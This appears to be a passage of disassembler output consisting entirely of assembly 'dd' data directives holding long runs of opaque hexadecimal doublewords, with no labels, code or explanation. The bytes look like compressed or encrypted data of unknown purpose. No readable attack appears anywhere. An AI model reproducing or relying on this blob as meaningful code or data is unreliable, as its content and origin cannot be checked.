		dd 0C555A53Ah, 76E90D5Bh, 813E389Dh, 1D6E6BE6h,	5F268830h
		dd 4096F2BFh, 0DE134B90h, 6BB95C2h, 95EC6FFDh, 16B760FCh
		dd 98378480h, 67E93C20h, 0DD622BA5h, 9A9B84h, 0FE61B050h
		dd 823401C8h, 2C58C788h, 0E9BCC8CDh, 77C5A49h, 6A423EB9h
		dd 0BF0BF519h, 317AE189h, 7173572Dh, 0CB8069CFh, 3AE95567h
		dd 9A09F390h, 0F07DE627h, 698E12B3h, 0F7C607DFh, 0BDAEC292h
		dd 0F2EB8975h, 80C2F849h, 2A0CBB53h, 6001FC42h,	9528169Eh
		dd 30648171h, 0D05A00EAh, 4BCAB8EEh, 79CC0B02h,	1C7E310h
		dd 25E80612h, 9F5AF0E0h, 0D2976DD1h, 0AB1706A9h, 92D9AD5Dh
		dd 0CEA8D5F0h, 77C943D3h, 0D32F4574h, 5FFA0956h, 87E48EB2h
		dd 0B56AE220h, 390D96D8h, 0C87F2728h, 60505EF8h, 49551877h
		dd 68E8FE69h, 11B8274Fh, 4965DCEh, 2D8C364h, 5514F752h
		dd 0E91AD26Eh, 5C20FABDh, 20E7885Eh, 8BF2800Bh,	65C50FCEh
		dd 97537F48h, 0A4B5B9BCh, 84AA2742h, 0C5952058h, 0BDD84859h
		dd 2BF3F220h, 0D2EE3704h, 0B6048CA3h, 0C265755Eh, 0BD05D09Dh
		dd 5494BEAh, 45F91BEBh,	58572D65h, 2E095A66h, 2636E55Dh
		dd 5325128Ch, 864218A5h, 7582CA56h, 3590B764h, 4F68DE40h
		dd 0DFDFEC28h, 4E9BA055h, 5D055098h, 93DF71h, 4F3E2023h
		dd 9A58B6E9h, 8739B14Bh, 2454FDAFh, 0C1F5340h, 0DAF0A07Ah
		dd 7C35FC43h, 81CD001h,	0F151E95Ah, 25290FE9h, 0A5FEDE27h
		dd 0BCE6B05Bh, 262A2F11h
		dd 962D645Eh, 0A69920BDh, 7CEF5F50h, 0C3C7C3C0h, 9050A038h
		dd 656813E9h, 5627335Dh, 0C14937C8h, 0E95E0B04h, 39ABB135h
		dd 4DE62A0Bh, 94DB3450h, 2FD32663h, 8ABBA965h, 0A0626847h
		dd 7AD042h, 5F5B6CBDh, 0AF271F7Ah, 414A52C3h, 738D300Ch
		dd 0B5E2C080h, 1343546Ah, 0DBFB0A55h, 0F8041CA4h, 1283BC04h
		dd 31EAFD0Ah, 3AA5D1BFh, 641240B3h, 160BAE88h, 0C0EED15Bh
		dd 4553BD55h, 4D4839FAh, 16FD0742h, 0ED67119Eh,	339A2AA1h
		dd 0CDEE1884h, 3ED987AAh, 59A26F50h, 0B8305906h, 0C0FE040Fh
		dd 8130E52Ch, 6AA0DC94h, 0E02E269Dh, 630017C5h,	1DBA468Ch
		dd 192986D2h, 2FF011E9h, 83B53BC6h, 0B43BE0EDh,	0A096146Fh
		dd 55085BC0h, 0E181033Bh, 5C1B53FDh, 165FC3C4h,	0BD3D52D8h
		dd 356DD600h, 0E9FD2992h, 42734E69h, 1749DDB6h,	9AF196C0h
		dd 3F674AE0h, 4C02584Ah, 0B961F504h, 61F52EAEh,	0CFAE63E2h
		dd 0BA532CA5h, 0E8C02E03h, 0F93CD907h, 2401A7A8h, 59105E1Bh
		dd 8558604Ah, 24A2CFAh,	7BE9B0C1h, 0F1605C35h, 0B0515E42h
		dd 0B01764CFh, 0DB44281Dh, 0B900B702h, 200371A6h, 9ACB0127h
		dd 0EBBFA553h, 0CB0C1018h, 7DA82E41h, 3DC60313h, 0FB087438h
		dd 1E70886Eh, 6A018CDCh, 1616DB0Ch, 72864E8Eh, 14480936h
		dd 7BA20C0Eh, 500BA1Eh,	4AD78FDAh, 5A5AAC90h, 5CF2E3F8h
		dd 30892DD9h, 0B79A98B4h, 7B709F71h, 0E828A688h, 92B52C3Ch
		dd 5189FB40h, 9AE8A2Eh,	7FB8BEE9h, 4C2DDD14h, 0C29393ACh
		dd 0C012788Ah, 4F09C2CAh, 0DCD419D1h, 569E0511h, 7CBC3EF0h
		dd 0EC079617h, 0B9B8D347h, 9495FEA1h, 4FE3D797h, 0F7298645h
		dd 5B10E304h, 9AF68100h, 111FFE31h, 2A4BF521h, 0F0816BB6h
		dd 95D746Ch, 0D706857h,	0F765577Eh, 57CB91BCh, 3AC00BD8h
		dd 0F042A2BAh, 0A5CAA05Ch, 79AD040Fh, 97B224E9h, 68FAB11Dh
		dd 9046CA0Ch, 0ED18839h, 0CB5A59C8h, 75BF82C3h,	0F8D90970h
		dd 9C9AE9E1h, 8267352Ah, 325503DFh, 13CEDFD3h, 47E95D0Dh
		dd 3125E7AEh, 0F75F0E5h, 3C66C6C0h, 0E2DE2858h,	4C715846h
		dd 79241F8Eh, 34AC2192h, 45951B1h, 0D91429EAh, 66BA009Eh
		dd 17931720h, 0ED1F6542h, 0C17673B5h, 5DE9035Fh, 86BCBC26h
		dd 4D1D0868h, 0F35A7F35h, 1056CBFBh, 563BC230h,	0F466E112h
		dd 7C266874h, 3C04701h,	0B869712Ch, 268504EAh, 0AA21285Fh
		dd 0F9F1D0C0h, 6F441E3Dh, 67E94AF7h, 2C3FACEDh,	7104198Ch
		dd 74E16A5Dh, 0D7E9B118h, 8D175326h, 0D2B56C6Ah, 251649E6h
		dd 8C66FE0Ch, 0C08A20FEh, 584F1690h, 0FF565B34h, 1C4C8BF7h
		dd 0C20B1A2Dh, 20EFB47Fh, 4227587Eh, 0B0420A4Ah, 8708AB02h
		dd 0AE417F78h, 0B03C2459h, 27D3EE58h, 0A4FAF386h, 2D9A044Ch
		dd 0D18E814Fh, 12AE4D4Bh, 9AE159ECh, 7AD23002h,	0D06D763Ch
		dd 34171AADh, 0AF08082Ch, 8335007Ch, 29E4444Dh,	107CC248h
		dd 0A34C69F7h, 0B80BE612h, 7A59C480h, 5A255014h, 0B8B03396h
		dd 6779BE80h, 9346D507h, 0E931D0F7h, 0C9778331h, 0B522662Dh
		dd 0A54E8D60h, 0C6954EE6h, 352B2544h, 4537F7Eh,	0D0685A83h
		dd 22111206h, 1DA40E8h,	1648933Dh, 1C21A4EDh, 0C73B2879h
		dd 0AF66548Dh, 520572CBh, 4543D968h, 9253E909h,	0A1502987h
		dd 12F04A20h, 60486068h, 0E901226Eh, 6A4A3F72h,	8E8F5A0Bh
		dd 9AFC16D0h, 0BA855885h, 0E9091C2Bh, 1EE85765h, 2B1F5EC6h
		dd 230C4729h, 73E2D388h, 0D6F22CFDh, 0B0CEA081h, 0F9122577h
		dd 97BC9359h, 7BA2EC04h, 0DF4A3125h, 622748FAh,	0CBA771F4h
		dd 3C136F00h, 0E9982280h, 0AB2D8E03h, 16D6F743h, 0C216E904h
		dd 6E5733AEh, 2A599549h, 0DABB5065h, 0D35C13E5h, 56E7B044h
		dd 36F28102h, 52510057h, 256FCBBAh, 47607CC0h, 888084A7h
		dd 7B5978EEh, 0EA37C074h, 0FA3270C3h, 0BA30F89Ch, 486B0828h
		dd 630FA215h, 2169376Dh, 0E6390075h, 9E323098h,	4AF6015Ch
		dd 2B292C5Ch, 89D08AB2h, 2E7A3F06h, 7B029412h, 0F72ADD68h
		dd 91A05FDAh, 0D8A95842h, 40929AB0h, 287CBD05h,	84BB0818h
		dd 87DCE098h, 0B382D54Fh, 0C353CA0Dh, 0C5FD4FBFh, 735B84Ch
		dd 68467F8Eh, 4886EE60h, 2DF61CA7h, 69B24121h, 4405F001h
		dd 89597407h, 681F3443h, 0F36D932Dh, 53173DA0h,	0FC8959h
		dd 0B2252792h, 0DD02BDE6h, 1D84DDAh, 0C0B482CDh, 0A5C77778h
		dd 7BED2D12h, 0BD532554h, 0E962D9C5h, 124FDAB9h, 0AE4E5AD6h
		dd 2D644736h, 89E285E9h, 51657854h, 49BB7C2h, 5685BB58h
		dd 2C8487B8h, 817A8CE0h, 4486F509h, 2C9950C0h, 1320515Dh
		dd 826CC43Ch, 305DF7FCh, 834CCE9Ah, 0A55CA9F2h,	0C9B55100h
		dd 0C995C580h, 8D842006h, 0EB810088h, 4AA566F1h, 0ABF4A028h
		dd 27B37BE1h, 0BECF9C96h, 8783604Dh, 0A2B25450h, 0CC99F594h
		dd 81D380D3h, 0D034C1F3h, 0BCC2BFF1h, 0A97746E2h, 621ED6BDh
		dd 0C0C865Fh, 88FB4F02h, 0BB90B1A5h, 0C83A2670h, 0F47A692Ch
		dd 0ACCC5B37h, 27D4EDFh, 0C7B8D280h, 955EA84Bh,	68B0A698h
		dd 8054AC2Dh, 0DF3519B3h, 0E919201h, 0E955731Dh, 0C630C368h
		dd 502958C5h, 826CDFE8h, 15428C1h, 6060E7C1h, 11A36416h
		dd 0E8C0FAEBh, 79935939h, 90E67973h, 1A1D3B92h,	0E4E9311Dh
		dd 46BB81ACh, 753D0D7Bh, 0BAF0CDAAh, 1264A07Eh,	0EDC56850h
		dd 738D84C8h, 0F051F2C3h, 594B5F10h, 0C401A71Eh, 892D061Dh
		dd 4669E7C8h, 97CB5167h, 683760EBh, 0B0861ABCh,	475C4AF2h
		dd 73C3C679h, 0F6B07C38h, 2309B39Bh, 16F38984h,	0B3575BB2h
		dd 7E804044h, 65FF1A12h, 0F84B91F2h, 730C41C8h,	94C77C99h
		dd 14717CC7h, 6400558h,	0A87BA8E9h, 147D2DC5h, 9410B523h
		dd 12070528h, 12C3315Eh, 5B1AF025h, 0D799BB8h, 0B8A3DF27h
		dd 72F42D8Bh, 576025Bh,	692B2329h, 720D1F4h, 12803490h
		dd 0DC5C32E9h, 0CDA82E1h, 0B7834107h, 4378A135h, 6BA54EB4h
		dd 9C864050h, 1F7D4416h, 0AD0274C4h, 0C1556AB2h, 736439CDh
		dd 2AE50D2Dh, 0F08E2FCAh, 25976C37h, 0CCC15970h, 3BD9143Eh
		dd 2FD8F670h, 21F8F634h, 9F72150Ch, 127D0C4Ch, 0C233790Dh
		dd 13F0998Eh, 897510B7h, 8601BDF5h, 0BB857883h,	0C15178FCh
		dd 0D2B73208h, 8FA9690Ch, 4BD324F7h, 39E72C73h,	4F063C85h
		dd 9B1CBE27h, 0D822786Ch, 7CD5CCB5h, 0F85C4899h, 1918610h
		dd 334B92B9h, 0F9ED497Fh, 8EEFC52Fh, 78BD403Bh,	79B01E12h
		dd 70C4F601h, 80827D75h, 0D24C69FDh, 8AA207F8h,	0DAFC2BF5h
		dd 0D0A55B5Bh, 609ACF3Ch, 0DB047A24h, 279CA42h,	7DE5D1h
		dd 3A506096h, 0B4C69829h, 0B4DE2FFCh, 7820B780h, 94F5E94Ah
		dd 9A9425ACh, 0A957CD82h, 0BF0F8428h, 8812128Ah, 25F2B6E1h
		dd 17FAFB30h, 98131268h, 0B7041D01h, 5AD730E9h,	0FE01FEB8h
		dd 2835C780h, 9E5CF4CFh, 4BFF6597h, 0C704187Dh,	97A57EA8h
		dd 5D256361h, 0BFA0255h, 88D6557h, 74ADB07Eh, 0D9525815h
		dd 0B7505982h, 0FD47E70Dh, 0E1F77E1Ch, 0D09E986h, 12CCAC4Eh
		dd 76982F68h, 0B10E52E6h, 1609B2A3h, 31B53401h,	982FD530h
		dd 154EB78Ch, 0A2932AE2h, 0B850807Fh, 0EEC0F12h, 48412566h
		dd 43526A1h, 0E90A9608h, 4BF4D1Ah, 1F16F2EDh, 0F0885616h
		dd 0F819B03Eh, 2404D0F6h, 0BC0AD941h, 1C5C303Eh, 48581E68h
		dd 25E4043Ch, 0D100278Dh, 8937ED01h, 2605F1A0h,	74FB2A05h
		dd 24E072E9h, 394409BFh, 0F3002DB7h, 7B551AC8h,	8B65E97Bh
		dd 7A895D20h, 0D92FCC32h
		dd 1A55C7E2h, 3638FD23h, 0D691C2BEh, 4084E04Ch,	0B20BBA97h
		dd 0D975D21Fh, 0D1F2B54Fh, 0C028EB6Ah, 2FBA4193h, 91E23034h
		dd 342A01E8h, 663A18Eh,	126EBFE1h, 0EB28FBACh, 9447628Fh
		dd 437C62CBh, 1F44B62h,	78196968h, 41CCCE80h, 0FA019D4Fh
		dd 18A28B2Fh, 0E1A7D98Ah, 37C1726h, 0F11FE451h,	1F043C0Fh
		dd 751C0465h, 0CE4038F2h, 0E0201E32h, 4E25362h,	0F821514h
		dd 975CF80h, 110C193h, 0F2EC133Fh, 0F3E9A133h, 0E64BCF3Ch
		dd 0BC257CC8h, 0EE775A50h, 8D6D6463h, 19C21CEEh, 0C1A734C9h
		dd 0B9000B70h, 1DE24CCBh, 2CECD5A1h, 515C8074h,	380CFB5h
		dd 0EDD072CDh, 14025366h, 2887B3FDh, 1C366CEBh,	2773ED80h
		dd 66EA10D8h, 0D5F65B01h, 7AE9E5D0h, 0D7868DB0h, 24A4C20h
		dd 0AE933CBDh, 0A4562B73h, 0F35F24CAh, 4A005877h, 0FAC513AFh
		dd 782EF70Bh, 5AD03D0h,	529925B2h, 26E24FD9h, 0E281202h
		dd 134ADEA4h, 11E9B3Ah,	0B86FCCE8h, 0B4A42E7Fh,	643809C7h
		dd 2F895127h, 0C1F2D7Dh, 0E92BA42Fh, 0E4D0C84Ah, 27DB88EDh
		dd 0DD8FDD97h, 5B40F6CBh, 304A3BB0h, 2C8138B9h,	0B0C8FEA4h
		dd 0C3E908CCh, 0AFBDD271h, 589F0F04h, 0AB2DEA10h, 9BB74C1Eh
		dd 0EC075A88h, 714B4BCh, 1D5223Eh, 0EEC0DCC6h, 82E6D005h
		dd 15684510h, 0E598D77Bh, 0EC07C0C3h, 18C48005h, 0D01CF431h
		dd 0F6EC86E5h, 1C08D8DDh, 0C8905343h, 0F9C9624Ah, 94E66720h
		dd 4FF7BAC8h, 602AE5BBh, 707C3DFh, 5371C5CAh, 1B01CE7Ah
		dd 582AE932h, 0BD6F2360h, 0C0080EC5h, 0BAC28AFh, 36C94E52h
		dd 31A13A58h, 0FCC710F0h, 75C22D45h, 882D7FAh, 3C0CE241h
		dd 0CF8984FBh, 7F306299h, 68668069h, 3D1A143Ah,	40EAA55Eh
		dd 16B605D8h, 0FA3C4821h, 62633644h, 0F656D9EBh, 0EEF685C2h
		dd 1D7AB908h, 0F6828A50h, 225FC9E4h, 0A0E4288Dh, 4F685A75h
		dd 0D2599752h, 528A74EBh, 1E097FDBh, 941955FEh,	75E23E58h
		dd 754EAD10h, 660BA865h, 6A5904AFh, 16B507B8h, 68D408F2h
		dd 912CED9h, 0DAF765FDh, 7F1C884h, 5DC9E8C1h, 5091C10Fh
		dd 0F54055B5h, 0DBEB975Ch, 6FE6F813h, 97F3538Ch, 0B95AFDAh
		dd 556D8BD7h, 27FE0F9Eh, 5A57966Bh, 506F0985h, 0BB006859h
		dd 15320BB5h, 9906CC90h, 5126E4DAh, 0B08A40C4h,	0F3B1D509h
		dd 75165D30h, 0EEB9CCF6h, 0FB4F08h, 0FEBB5356h,	6527C95Bh
		dd 8072E843h, 0D8F0838Bh, 645F1477h, 0EE0185BDh, 16CC5C9Ch
		dd 257420D1h, 2480A640h, 0B8DEBE1h, 1877D8FCh, 89372093h
		dd 0DD010234h, 2872978Eh, 0FD40A1D9h, 16C72568h, 0E943477Bh
		dd 8088CCBAh, 0F2412D1h, 0F656BAFDh, 7087BF4h, 295CF549h
		dd 8748FFAh, 44170C60h,	0E5BF364Dh, 0BA59964Ch,	7BB61800h
		dd 0BD296A9Bh, 0BE5D3F84h, 0DFF1D339h, 183ECC2Bh, 2916ACBEh
		dd 4C6FB1F8h, 7A8B1A23h, 395F21F9h, 0FB5877C0h,	5DC280B5h
		dd 3C7AEE14h, 0A213BE56h, 66110562h, 89B5E98Eh,	0CFE33854h
		dd 0F24082E5h, 753D6308h, 0AD779267h, 0DF10D7EDh, 0F0B57F7Ch
		dd 0E0C03B8Ah, 0FE060663h, 0F85EABDh, 3501D295h, 5D36E86Fh
		dd 4C2C9330h, 0FFCDBF40h, 0ED54897Ah, 6266DC86h, 9ADF97E2h
		dd 0F3CA7D05h, 2A60E61h, 5A0CC488h, 0AC39A850h,	0E9C31528h
		dd 5B2E98E1h, 3B6110BBh, 52668B59h, 5AA225F6h, 57E9D781h
		dd 968C7A4h, 1ED94C03h,	64EFA61Dh, 9B5751F1h, 0CB3B4565h
		dd 0EE38120Ah, 6514EB8Ah, 0A09BC568h, 570F7BCBh, 0CAF2CACh
		dd 0B84E2D71h, 9054C43h, 0B29EEA12h, 68560101h,	6B927D54h
		dd 0CEBD7EF8h, 0CCEDE71Dh, 0EEC944BFh, 6FE1E194h, 1391B67Eh
		dd 0C342EBB9h, 61A74909h, 0C16FC2FDh, 2AAF5526h, 40921F26h
		dd 2D5E5A0Dh, 0D08BCDF8h, 8C265802h, 7D780B09h,	148077A0h
		dd 0EB527F0h, 0E9F361F5h, 912B51F5h, 7CDA2C7h, 83C1D804h
		dd 4869A029h, 1C832510h, 0F19EC688h, 805842A6h,	280317C1h
		dd 0B609EECBh, 0FC43570Ah, 648808ADh, 4AB6613h,	0B74BCBCBh
		dd 905C2C8Ah, 20D0B842h, 7DCCFAEEh, 0E585375Ah,	0F84F46B8h
		dd 0EFEBB158h, 9614A26Bh, 332503EAh, 39608AE9h,	0D94B6342h
		dd 70809D51h, 97678B4Ch, 33FE3126h, 335EF20Ah, 0E68A4AB8h
		dd 51D23101h, 6C1BCB68h, 0E564F516h, 55D677C0h,	0F42D4B96h
		dd 0AA172E82h, 0DDE0D269h, 7A312768h, 58864579h, 3BA20C48h
		dd 285D7CBh, 0AA14E964h, 0E34B2B21h, 827B63FDh,	0C35529DAh
		dd 721ABCE6h, 4092FC63h, 76504160h, 7A0B4E30h, 0FE72CF6Eh
		dd 0E1F88321h, 73F675Ch, 52F18132h, 29760E5Dh, 0B109968h
		dd 0E8D118BFh, 1B6A6D56h, 70097644h, 0F0986D2h,	9D4EC285h
		dd 54E0F756h, 342C227Dh, 0BF00691Bh, 0E944A986h, 0C08A4869h
		dd 5D0B69A7h, 0E961E556h, 2882B7C6h, 3F186858h,	96F18D9Ah
		dd 15224A16h, 422087EAh, 0F35EEFC2h, 52F50910h,	0F3B49364h
		dd 0E22782FAh, 0EEC001C6h, 0B413E007h, 4C128791h, 0DCBE8985h
		dd 0C0800C47h, 6EDEB6D2h, 5807DFEh, 50ACF180h, 881CFEB4h
		dd 0CF0E58E7h, 87FCFC59h, 80D7F6C7h, 88FBAC45h,	0CB7E8626h
		dd 0EB05A390h, 5E3C01Dh, 987445C2h, 95711170h, 0F69C518h
		dd 0C970A785h, 2D55E797h, 1E207E6Eh, 0B9513177h, 3F8182BCh
		dd 4152C7B0h, 5B13E73h,	415FD92Eh, 4A6EC618h, 57210BF1h
		dd 6620841Ch, 0C443E657h, 13BB19E9h, 0C04B999Bh, 595A66CAh
		dd 302C2DACh, 0B4E80922h, 6FC0014Ah, 4182C54Bh,	9C43303Ch
		dd 610C2C17h, 3E530A1Dh, 753D63D5h, 0BB0F3D12h,	497E2F91h
		dd 7CED4382h, 808EE5C0h, 0D112266Ch, 50CFA2h, 505D5A00h
		dd 0D4E18B8h, 16389837h, 46C5306h, 0ECA7501h, 97D3CC5Ch
		dd 5AD72888h, 0D5E73F3h, 0DFF648E7h, 81124110h,	6333A6D2h
		dd 1BAB260Bh, 1DFCD721h, 31192568h, 2513EDCh, 4AFB4E20h
		dd 9C2DAAD7h, 18EDA541h, 0ECE91D53h, 0E1479AD2h, 5900F45Fh
		dd 302D41B1h, 4B07DBE1h, 0FC1916DDh, 0C8281D1Ah, 2D3282Ch
		dd 804CB551h, 9D8544C5h, 0E4A303CCh, 0F5D9CDFEh, 60EBC127h
		dd 0F950C316h, 0CB820D5h, 0E94D91A0h, 245F6025h, 0D5FF95C9h
		dd 0C47EE327h, 0E312A043h, 8F801034h, 0DA88E14Ah, 8048DAAh
		dd 87251004h, 0C3AB56D8h, 72D7F507h, 20046963h,	9F3F6C0Eh
		dd 74011040h, 18851345h, 23D990E9h, 9AD1554Fh, 2C14AE53h
		dd 2AF7645Ah, 4A124849h, 63CAA59h, 0C7B248B8h, 7909BC80h
		dd 0C1048114h, 40483026h, 0FDEE1CF0h, 0B91C5707h, 2C705C46h
		dd 0EB4AD582h, 5FC5C9DDh, 727CAC8Bh, 0A6498A96h, 0C8E94B40h
		dd 4D31EBD7h, 5C029D22h, 9E98C860h, 0F9C89397h,	0A52484E4h
		dd 0F40C50CBh, 0DA20019Dh, 0E9D2F65Bh, 0D0472E70h, 130E3B75h
		dd 5766B432h, 0B53081F2h, 0F1EDA147h, 40AB27CAh, 689DC4F0h
		dd 510C2673h, 0E1EEB3C0h, 0A02BBA40h, 8130643h,	45BA1080h
		dd 88ED4B8Fh, 6C1E0957h, 0AFD37692h, 0CE3AF6A1h, 0E9F96272h
		dd 0B6FB69EDh, 176A7CD6h, 0F7C309A0h, 3A8C4CD4h, 9C7A990h
		dd 80A8AA34h, 0D0A529D4h, 6EC30B3Bh, 25F57E12h,	0B74C31B5h
		dd 0FE4DC5Eh, 4523C55Dh, 0B3AE88A4h, 4F4B7AB5h,	0BC49B66h
		dd 6C03A5Eh, 0DFBB200h,	0F8C24EA6h, 8266485Dh, 25631CEEh
		dd 0F991ABEAh, 0C82A028Bh, 9F41B6DAh, 0B50122Ah, 2F326DA9h
		dd 0B3B24643h, 2B1C6801h, 8871A33Eh, 0EC4A3E56h, 2BEB9271h
		dd 0F0E91737h, 0BDF87EE4h, 0FD68FF40h, 0A39836FAh, 22FC442Fh
		dd 0E5BA031h, 50A5F80Fh
		dd 119CEA6Ch, 70789F55h, 5561B352h, 31617EACh, 816258C2h
		dd 594968C8h, 0BB53895Fh, 0E916A17Fh, 79818967h, 0DE1FB6C6h
		dd 0C00C8242h, 754E7F98h, 3570F2E2h, 59BD7E73h,	8D894FE0h
		dd 5C2F9C54h, 37C26908h, 0E8DF8B85h, 4EB2C49Bh,	12BE5600h
		dd 366BB364h, 223D6470h, 0C5076ADBh, 37527918h,	0A97A9CB2h
		dd 0B6CB8283h, 30C0CDEh, 4B285140h, 83BAE2F9h, 0BACBC180h
		dd 3A385CFCh, 3CDE90Ch,	3048FF1Ch, 14452085h, 0C73EF780h
		dd 4B3A1C50h, 0AEBBD407h, 76ED1AA1h, 0C29D05DBh, 49D9253Fh
		dd 0D556B1FAh, 956EEE2h, 0A0786E55h, 0A09D3153h, 9308672h
		dd 0E5D19A20h, 7F659602h, 26C35109h, 30EE1298h,	3732BEEAh
		dd 9D47A728h, 0A703A4F9h, 74536100h, 94CE317Dh,	27F69D9h
		dd 4155F66Ah, 0A46FBFFCh, 0E0450961h, 3B1A01E0h, 0CF073C6Ah
		dd 21A06F72h, 7A608BE9h, 4E16B828h, 0D94A75CBh,	10BE2682h
		dd 0A85A47AEh, 0B4E9E15Dh, 5044E37Eh, 6880F9F3h, 0B6344E5Dh
		dd 0AC317A17h, 458E5936h, 838BF67Ah, 18B784E9h,	353E8549h
		dd 4382E7F2h, 40EEB052h, 0A47565AAh, 621B8A9Bh,	54D2F74Fh
		dd 9594508h, 0CDDCC5E7h, 0D8106DACh, 2B2D5A01h,	2BF7E020h
		dd 1813FA0h, 0C476B7E3h, 0A438E91Fh, 68617A7Bh,	8B7E1D46h
		dd 0AFC54F47h, 5D84921Eh, 0F7C20E14h, 0F018FF66h, 0F08620ACh
		dd 527E1209h, 0D31DBB1Eh, 0BE02C750h, 21713760h, 438DAC86h
		dd 2701EE49h, 0EC37C5Dh, 9534897h, 0D956784Bh, 0E1B5712Dh
		dd 0C2714368h, 0C129D157h, 519642E9h, 60CD01B1h, 77CBCBD7h
		dd 0B9A480CEh, 4A30728Bh, 9EB9F060h, 19793113h,	0DAA18F1Bh
		dd 0E8EAFFEEh, 325A152h, 0FAC5F4C7h, 17AB3C1h, 8E8EF42Ch
		dd 0A0DBD028h, 318FBAC5h, 0C460AD4Fh, 42EF3FE9h, 5F384253h
		dd 59729387h, 0BCD2F50Eh, 2C84F471h, 9F567B4h, 4B43391Ch
		dd 0A8581600h, 0F9B4B152h, 1820CF20h, 0B5B9058Eh, 4B5AFA7Ch
		dd 5904468Fh, 1D0013A3h, 55F16E23h, 83C1985Ah, 844A09Eh
		dd 3A0E9045h, 2C2F4D18h, 0E0C917E9h, 0CC16407h,	0F22BB6E1h
		dd 218F01E2h, 967E60A5h, 0BC32585Fh, 2F0C7EB2h,	0F35306D4h
		dd 642D74F7h, 0FA973AD8h, 5A309FCDh, 205E8143h,	0EE41BA1Dh
		dd 5375B03Eh, 71176812h, 0E8C55137h, 167575ACh,	885B871Ch
		dd 0B75A0372h, 1E62978Eh, 36F1DB29h, 774B6884h,	96E4E891h
		dd 88BB000h, 24F8C55Ah,	33B75302h, 437DFD28h, 55B9E20Bh
		dd 0B0507040h, 0CBA3FB7Dh, 8509E89Bh, 7FA1FFE9h, 6A02E899h
		dd 72FEFA27h, 339A46FCh, 73A424AFh, 0CA96EC67h,	52838A60h
		dd 0BD0891BAh, 0AB2F2782h, 0E7C9589Eh, 2B27B17Ah, 7D2757A2h
		dd 0B58B26DCh, 20499C3Bh, 0BD03E65Ch, 29140D4Eh, 0A1985089h
		dd 80541D19h, 41FAC27h,	0E1509461h, 0AED60460h,	74108AA7h
		dd 3E225142h, 483C17A5h, 894C9771h, 0B4DAE720h,	0CBB30A5Bh
		dd 2D56B92h, 9A36BC07h,	0A2A761F2h, 0C2420005h,	2C580B8Ah
		dd 0F2F04271h, 0F7BE2F0Bh, 2088D2CDh, 3065B0DDh, 0A74EB471h
		dd 53D80059h, 0EB28C1B3h, 0EB120332h, 9C73ABCCh, 807A4E29h
		dd 7573530h, 22518B8h, 525FDC42h, 7AF5F680h, 0F7343F98h
		dd 0D50104DBh, 19614C63h, 55B6446Ah, 65F09BDh, 58F7B67Ch
		dd 0B8149AF0h, 0B3D78373h, 0EC415BC7h, 64C7E9EBh, 4748E872h
		dd 0A14F7658h, 49E223A0h, 0C7BC921Fh, 0D7CEE9C4h, 2C5BF034h
		dd 0F8762838h, 0C2C4DBE9h, 675F1C3Eh, 96350B46h, 0BAF4673h
		dd 68BBD988h, 0DAD42FEBh, 8465B5Ah, 0E028C736h,	0C17A5173h
		dd 2F95E02Ch, 972BD582h, 0E845E320h, 0E5C8F56h,	464EDEF7h
		dd 6F3A0037h, 582D97Dh,	0B679B302h, 60F00141h, 24170C66h
		dd 624457h, 0FD5F62A7h,	58124A2Dh, 10FB34EDh, 0E90A07C6h
		dd 80A9CD5Eh, 48760EEFh, 79BF5D1Fh, 61696B86h, 7B8C450h
		dd 54B77E16h, 581261BDh, 13D7245Eh, 92A9ADB8h, 0C6AA28BEh
		dd 0E2619B6h, 3D65B788h, 0EE787A09h, 387BEF07h,	79C54D3Bh
		dd 0F3A8432Fh, 504D2EEFh, 78609BE9h, 0E041C6D3h, 7D04B07Bh
		dd 546E30F5h, 0E691F31Bh, 703F7D25h, 0A27295F7h, 82F2FEh
		dd 7B43D5A4h, 68EC14h, 2ECB7347h, 0ECB0E959h, 618DF3B4h
		dd 0B09293C6h, 0A759EC66h, 8740FCC5h, 262C1B68h, 7DE2B036h
		dd 42E627F0h, 0BF3FC119h, 31D187F3h, 61865919h,	436E67F8h
		dd 0CB0B9A5h, 2D80403Ah, 0C0612E7Bh, 0D01C08AAh, 0A4DC280Ah
		dd 0A5874E0Ch, 51430DB7h, 35546CB1h, 0EF8E3F96h, 0A72FAB41h
		dd 10E9C570h, 0C203ECADh, 900CE6D9h, 518DBC40h,	2F260796h
		dd 0BF0A244Fh, 2B0D28FAh, 0FBE35A39h, 3198C57Fh, 47ACD41h
		dd 0EF2A684Bh, 0EEE9E431h, 0C125AD62h, 71A44754h, 0AFCC6813h
		dd 0A0545856h, 19B0BD02h, 8FF838F6h, 67A8450h, 4E890C80h
		dd 8B62E6CAh, 0B6311345h, 72DF0936h, 3BDE3962h,	0BEECB25h
		dd 6B79340Ch, 9803EA58h, 293A7669h, 81C41CEh, 90141CA0h
		dd 5F03EFEAh, 0F79C2404h, 0D91BFFDh, 1CAF4DCDh,	50C2F059h
		dd 545E13B8h, 0C6B17FDh, 0E02393DFh, 16F2266Fh,	4C60131h
		dd 1FB04EF9h, 37AE6C97h, 0E862D5ADh, 0DC0525CEh, 3E14A40Fh
		dd 5EB8E517h, 3BAC3B04h, 143ACE7h, 3C784FCCh, 13A02B5Bh
		dd 4E050251h, 5E30E914h, 5A0BD6C4h, 701AF813h, 0B8314ADCh
		dd 2512845Ch, 9222E902h, 0A88354D4h, 0A860C249h, 0DC8360Eh
		dd 4411E974h, 35F36F20h, 0E775A684h, 99621013h,	0A8E4B46Eh
		dd 0D33ABC78h, 0FEC31FE4h, 0D1524BCFh, 18E1F5Ah, 1A909DB1h
		dd 54800D9h, 10850629h,	26940535h, 0C48938BBh, 21F5C039h
		dd 61262E3Bh, 80E4929h,	64BBB65Eh, 0CD1114CAh, 0B8244020h
		dd 0C560A802h, 0BF03DC2Dh, 250867A8h, 74653A77h, 48CAF296h
		dd 0FEA08E46h, 898297E1h, 612BD76Bh, 0EF6E1004h, 8CCC1833h
		dd 0ECF0121Ch, 8BAFB413h, 0E9A80997h, 0F945A4Fh, 0FA3866EDh
		dd 14421ED7h, 0D14008C5h, 55B2A4E8h, 0BD2E81E0h, 7B59CC31h
		dd 71EDD35Fh, 494DC1h, 54856859h, 50BA451Bh, 41FC132Ch
		dd 0C497AF6h, 0BE077F6Ch, 52E19E45h, 0F42DB551h, 0FE27C0EDh
		dd 1AD760C5h, 0E5C59FF4h, 920153ADh, 123B245Fh,	0B4CABAC1h
		dd 0A35D186Bh, 0A2EE0163h, 2D5E7C90h, 56128CBEh, 0C249AFE9h
		dd 60944450h, 27C89258h, 0CC1263Fh, 0E1E439Eh, 39ECEAF0h
		dd 0BD4BB650h, 0A108418Dh, 2020141Ch, 191E92Fh,	38620381h
